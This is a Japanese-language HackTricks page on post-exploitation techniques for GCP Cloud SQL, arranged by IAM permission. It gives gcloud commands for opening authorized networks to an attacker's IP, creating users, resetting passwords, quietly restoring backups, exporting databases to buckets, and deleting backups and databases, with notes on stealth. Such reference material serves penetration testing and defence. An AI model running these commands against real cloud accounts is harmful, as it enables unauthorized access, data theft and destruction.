GCP - Cloud SQL ポストエクスプロイテーション
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Cloud SQL
Cloud SQLに関する詳細情報は、以下を確認してください:
cloudsql.instances.update
, ( cloudsql.instances.get
)
データベースに接続するには、データベースポートへのアクセスとユーザー名およびパスワードを知っているだけで、IAMの要件はありません。したがって、データベースにパブリックIPアドレスがあると仮定した場合、アクセスを取得する簡単な方法は、許可されたネットワークを更新し、自分のIPアドレスがアクセスできるようにすることです。
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
--no-backup
を使用して、データベースのバックアップを中断することも可能です。
これらが要件であるため、**cloudsql.instances.connect
とcloudsql.instances.login
**の権限が何であるかは完全にはわかりません。知っている方はPRを送ってください!
cloudsql.users.list
データベースのすべてのユーザーのリストを取得します:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
この権限は、データベース内に新しいユーザーを作成することを許可します:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
この権限はデータベース内のユーザーを更新することを許可します。例えば、パスワードを変更することができます:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
バックアップには古い機密情報が含まれている可能性があるため、確認することが興味深いです。
データベース内のバックアップを復元します:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
よりステルスな方法で行うには、新しいSQLインスタンスを作成し、現在稼働中のデータベースではなく、そこにデータを復元することをお勧めします。
cloudsql.backupRuns.delete
この権限はバックアップを削除することを許可します:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
データベースをエクスポートしてCloud Storageバケットに保存し、そこからアクセスできるようにします:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Cloud Storage バケットからデータベースをインポート(上書き):
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
データベースインスタンスからデータベースを削除します:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。